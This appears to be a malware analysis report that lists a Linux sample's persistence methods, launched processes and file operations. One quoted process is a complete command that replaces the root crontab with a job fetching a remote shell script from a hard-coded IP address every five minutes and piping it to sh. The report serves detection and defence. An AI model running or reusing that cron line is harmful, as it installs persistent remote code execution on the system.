Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/rc.local
Creates or modifies the following symlinks:
- /etc/rc6.d/S20loop
Malicious functions:
Launches processes:
- sh -c crontab -l >/tmp/.tmpcronFile
- crontab -l
- sh -c crontab -r
- crontab -r
- sh -c (echo \"*/5 * * * * (curl http://111.90.159.106/r.sh||wget -q -O- http://111.90.159.106/r.sh)|sh\" ; crontab -l)| crontab > /dev/null 2>&1
- crontab
- /root/.loop
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.xb3sFS
- /tmp/rc.local1
- /root/.loop
Creates or modifies files:
- /tmp/st
- /tmp/.tmpcronFile
- /var/spool/cron/crontabs/tmp.xb3sFS
- /tmp/rc.local1
- /root/.loop
Deletes files:
- /tmp/.tmpcronFile
- /tmp/rc.local1
- /root/.loop
Locks files:
- /tmp/st
- /dev/null
